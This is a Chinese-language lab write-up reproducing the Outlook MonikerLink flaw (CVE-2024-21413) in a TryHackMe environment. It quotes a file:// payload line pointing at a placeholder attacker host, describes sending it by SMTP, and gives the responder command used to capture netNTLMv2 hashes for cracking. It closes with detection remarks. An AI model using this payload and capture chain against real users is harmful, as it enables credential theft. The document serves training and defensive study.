💻 CVE-2024-21413-Microsoft-Outlook-远程代码执行漏洞PoC

🧩 概述

该项目在完全隔离的 TryHackMe 环境中复现了 MonikerLink 行为（CVE-2024-21413），展示某些超链接格式如何导致 Outlook 以泄露身份验证尝试或导致进一步利用的方式处理链接。交付成果包括一个 PoC，以及一组安全团队可以应用的优先级缓解措施和检测建议。未针对实时/未授权系统进行攻击。

---

⚙️ 工具与技术

---

🚀 设置与执行

• 在攻击机上的 Linux 终端中操作
  • 创建了一个 Python 文件并粘贴了代码 exploit.py

    该代码由 CMNatic 编写，可在此处找到

  • 我修改了代码以适配自己的机器环境。

    例如，在以下行中：“<a href=“file://ATTACKER_MACHINE/test!” 我将“ATTACKER_MACHINE”替换为攻击机的 IP 地址；在行“server = smtplib.SMTP('MAILSERVER', 25)”中，我将“MAILSERVER”替换为受害机的 IP 地址。

  • 然后我运行了 exploit.py 文件，得到回复称“邮件已发送”
  • 为了捕获 netNTLMv2（这是一种可使用 John the Ripper 或其他工具破解并获取明文密码的哈希值），我使用了一个名为 responder 的工具来捕获受害机返回的响应。执行 responder 的命令为：

    responder -I ens5

    • 其中 -I 表示接口，我使用了 ens5 接口。在我的情况下，该命令报错，因此我先使用以下命令，然后重试上述命令，问题得以解决：

      systemctl start systemd-resolved

• 然后我登录了我的受害机
  • 我打开了 Outlook，并打开了攻击机发送的邮件中的链接
• 这样，一旦点击链接，攻击机上的 responder 成功捕获到了 netNTLMv2 哈希值

---

此概念验证揭示了 Microsoft Outlook 链接处理中的一个细微之处：某些引用 SMB 资源的 file:// 样式 moniker 链接可能绕过 Outlook 的标准过滤并触发外部身份验证尝试。此处展示的行为是在完全受控的 TryHackMe 实验室中复现的，强调了看似无害的链接格式如何掩盖网络交互。尽管供应商已发布补丁和检测指南，但由于 moniker/file 方案存在合法用途，底层机制仍然复杂。重要的是，此 PoC 产生的活动在网络层面是可观测的（例如，在显示 NTLM 身份验证尝试的数据包捕获中），因此适合进行取证分析和事件调查。

检测

Florian Roth 已创建了一条 Yara 规则，用于检测包含 :file:\: 元素的邮件。